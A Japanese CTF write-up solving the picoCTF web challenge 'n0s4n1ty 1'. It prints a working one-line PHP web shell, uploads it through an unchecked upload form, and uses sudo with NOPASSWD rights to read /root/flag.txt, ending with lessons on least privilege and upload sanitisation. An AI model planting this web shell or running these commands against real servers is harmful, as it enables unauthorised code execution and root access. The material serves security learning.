はじめに
picoCTFの問題「n0s4n1ty 1」の解法です。
ファイルアップロード機能の脆弱性を突き、最終的にサーバー内の権限昇格を行ってフラグを獲得するまでのプロセスをまとめました。
問題概要
- ジャンル: Web Exploitation
- 難易度: Easy
-
問題文: 開発者がプロフィール画像のアップロード機能を実装したが、不備がある。
/rootディレクトリにある隠されたフラグを探し出すことがゴール
1. 偵察
インスタンスを起動し、対象のWebアプリケーションにアクセスするとファイルのアップロードフォームが存在していました。
テストとして適当なファイルをアップロードしたところ、画面に以下のメッセージが表示されました。
The file main.rs has been uploaded Path: uploads/(ファイル名)
つまり
- アップロードしたファイルがそのまま
uploads/ディレクトリに保存されている - 保存先のパスが明示されているため、そのURLへ直接アクセスすればアップロードしたファイルをサーバー側で実行できる可能性がある
ということになります。
2. サーバーサイド環境の特定
バックエンドで動いている言語を特定するため、コマンドを実行できるシンプルなPHPスクリプト(Webシェル)をアップロードしてみることにしました。
作成したファイル (test.php):
<?php
system($_GET['cmd']);
?>
これをアップロードし、ブラウザから http://<対象URL>/uploads/test.php にアクセスしたところ、以下のメッセージが出たことにより、phpファイルの中身が実行されたことを確認できました。
Warning: system(): Cannot execute a blank command in /var/www/html/uploads/test.php on line 2
これにより、サーバーが PHP環境 で動いていることが確定しました。
cmdが空のためWarningメッセージが出ていますが、URLのパラメータにコマンド(?cmd=...)を付与することで、サーバー上で任意のLinuxコマンドを実行できる状態となっています。
3. sudo -l による権限確認
問題のヒントに従ってsudo -l」を実行し、現在のユーザーがパスワードなしで実行できる特権コマンドを調査しました。
http://<対象URL>/uploads/test.php?cmd=sudo -l
実行結果:
Matching Defaults entries for www-data on challenge: env_reset, mail_badpass, ...
User www-data may run the following commands on challenge:
(ALL) NOPASSWD: ALL
結果は (ALL) NOPASSWD: ALL ということで、一般ユーザー www-data であっても、コマンドの先頭に sudo をつけるだけですべてのコマンドを root 権限で実行できることが判明しました。
4. フラグ獲得
sudoをつけて/root の中身を確認すると、flag.txtというファイルがありました。
http://<対象URL>/uploads/test.php?cmd=sudo ls -la /root
(ここに flag.txt があることを確認)
最後に、cat コマンドでフラグの中身を読み出します。
http://<対象URL>/uploads/test.php?cmd=sudo cat /root/flag.txt
すると画面に picoCTF{...} の形式でフラグが表示されました。
まとめと教訓
今回の問題は、以下の2つの脆弱性・設定ミスが連鎖(エクスプロイトチェーン)した典型的な例でした。
-
不適切なファイルアップロード機能: 実行可能ファイル(
.php)アップデートのサニタイズがなく、さらに公開ディレクトリから直接実行できてしまったこと -
過剰なsudo権限(過剰特権): Webサーバープロセスのユーザーに
(ALL) NOPASSWD: ALLを付与してしまっていたこと
セキュリティの基本である「最小特権の原則」と「入力ファイルのサニタイズ」の重要性を学べる問題でした。